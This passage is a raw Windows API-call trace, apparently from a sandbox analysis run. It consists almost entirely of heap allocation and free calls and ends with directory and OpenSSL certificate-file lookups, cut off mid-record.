out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35068 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36388 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361e8 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e58 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aae8 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36428 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34dc8 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35158 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a290 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363c8 | out: hHeap=0x2a0000) returned 1 [0119.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d359c8 | out: hHeap=0x2a0000) returned 1 [0119.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fe8 | out: hHeap=0x2a0000) returned 1 [0119.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34fc0 | out: hHeap=0x2a0000) returned 1 [0119.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36208 | out: hHeap=0x2a0000) returned 1 [0119.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351b8 | out: hHeap=0x2a0000) returned 1 [0119.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36148 | out: hHeap=0x2a0000) returned 1 [0119.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34fd8 | out: hHeap=0x2a0000) returned 1 [0119.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36268 | out: hHeap=0x2a0000) returned 1 [0119.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d358f0 | out: hHeap=0x2a0000) returned 1 [0119.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36028 | out: hHeap=0x2a0000) returned 1 [0119.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a830 | out: hHeap=0x2a0000) returned 1 [0119.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f68 | out: hHeap=0x2a0000) returned 1 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d358f0 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d34fd8 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f68 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351b8 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36028 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fc0 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359c8 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35158 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36268 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aae8 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac18 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36148 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34dc8 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e58 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35068 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36208 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acb8 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0119.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fe8 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35980 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35248 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350c8 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d363c8 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac78 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35218 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35098 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e28 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36428 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac48 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d361e8 [0119.113] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d351b8, Size=0x20) returned 0x2d4a830 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36388 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351b8 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ff0 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35230 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36328 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acd8 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2d362e8 [0119.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35920 | out: hHeap=0x2a0000) returned 1 [0119.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35800 | out: hHeap=0x2a0000) returned 1 [0119.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36248 | out: hHeap=0x2a0000) returned 1 [0119.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e68 | out: hHeap=0x2a0000) returned 1 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e68 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36248 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35800 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35920 [0119.113] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2d4a0a0 [0119.114] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35800, Size=0x20) returned 0x2d4a290 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36448 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35800 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36368 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351d0 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e40 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35038 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36408 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aaf8 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab78 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d363a8 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35110 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f18 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e10 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35de8 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ad68 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ad58 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f88 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35080 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35170 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35200 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d360e8 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ace8 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35290 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36108 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35878 [0119.114] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35800, Size=0x20) returned 0x2d4a1f0 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35800 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fa8 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35e88 [0119.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac38 [0119.115] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d36348 [0119.115] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d363e8 [0119.115] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35848 [0119.115] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35008 [0119.115] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35740 [0119.115] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d362c8 [0119.115] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac58 [0119.115] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2d361c8 [0119.115] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6d) returned 0x2d28e88 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab78 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35038 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aaf8 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36408 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e40 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351d0 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36368 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ad58 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e10 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ad68 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35de8 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f18 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35110 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363a8 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35290 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35200 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ace8 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360e8 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35170 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35080 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f88 | out: hHeap=0x2a0000) returned 1 [0119.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36348 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34fa8 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac38 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e88 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35800 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35878 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36108 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361c8 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35740 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac58 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362c8 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35008 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35848 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363e8 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a1f0 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36448 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34fc0 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36028 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34dc8 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36148 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35980 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fe8 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35098 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351b8 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36388 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a830 | out: hHeap=0x2a0000) returned 1 [0119.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f68 | out: hHeap=0x2a0000) returned 1 [0119.116] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35f68 [0119.116] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7) returned 0x2d4ac58 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ac38 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36388 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ace8 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x41) returned 0x2d45fe8 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351b8 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35098 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35980 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35fe8 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ad68 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x19) returned 0x2d4a830 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34dc8 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fc0 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36148 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ad58 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d36028 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35848 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35008 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36448 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aaf8 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x32) returned 0x2d56340 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35740 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35878 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d363e8 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab78 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5) returned 0x2d4ac68 [0119.117] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d351b8, Size=0x20) returned 0x2d4a1f0 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d351b8 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35800 [0119.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d362c8 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac08 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d361c8 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34fa8 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35080 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36108 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab98 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x73) returned 0x2d5b100 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35170 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35200 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35e88 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acf8 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x46) returned 0x2d45f48 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35290 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35110 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36348 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4aad8 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6b) returned 0x2d28f00 [0119.118] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a1f0, Size=0x40) returned 0x2d36638 [0119.118] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34f18 [0119.118] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34e70, Size=0x20) returned 0x2d4a6a0 [0119.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35728 | out: hHeap=0x2a0000) returned 1 [0119.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35638 | out: hHeap=0x2a0000) returned 1 [0119.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36368 | out: hHeap=0x2a0000) returned 1 [0119.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35de8 | out: hHeap=0x2a0000) returned 1 [0119.118] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35638, Size=0x20) returned 0x2d4a790 [0119.119] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35638, Size=0x20) returned 0x2d4a718 [0119.119] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35830, Size=0x20) returned 0x2d4a6a0 [0119.119] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35608, Size=0x20) returned 0x2d4a718 [0119.119] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35608, Size=0x20) returned 0x2d4a600 [0119.119] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35830, Size=0x20) returned 0x2d4a6a0 [0119.119] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35530, Size=0x10) returned 0x2d35458 [0119.119] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f41c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0119.119] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/653b494a.0", lpFindFileData=0x18f55c | out: lpFindFileData=0x18f55c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x11089ae1, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d51008, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d510f0, ftLastWriteTime.dwHighDateTime=0x18f601, nFileSizeHigh=0x18f87c, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0xf, cFileName="tö\x18", cAlternateFileName="")) returned 0xffffffff [0119.119] GetLastError () returned 0x3 [0119.119] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/653b494a.0", nBufferLength=0x104, lpBuffer=0x18f69c, lpFilePart=0x18f4f4 | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\653b494a.0", lpFilePart=0x18f4f4*="653b494a.0") returned 0x21 [0119.119] GetLastError () returned 0x3 [0119.120] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f414 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0119.120] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/bd1c2838.0", lpFindFileData=0x18f554 | out: lpFindFileData=0x18f554*(dwFileAttributes=0x134249, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d51008, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d510f0, ftLastWriteTime.dwHighDateTime=0x2a0000, nFileSizeHigh=0x2d510f0, nFileSizeLow=0x18f601, dwReserved0=0x0, dwReserved1=0xf, cFileName="lö\x18", cAlternateFileName="")) returned 0xffffffff [0119.120] GetLastError () returned 0x3 [0119.120] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/bd1c2838.0", nBufferLength=0x104, lpBuffer=0x18f694, lpFilePart=0x18f4ec | out: 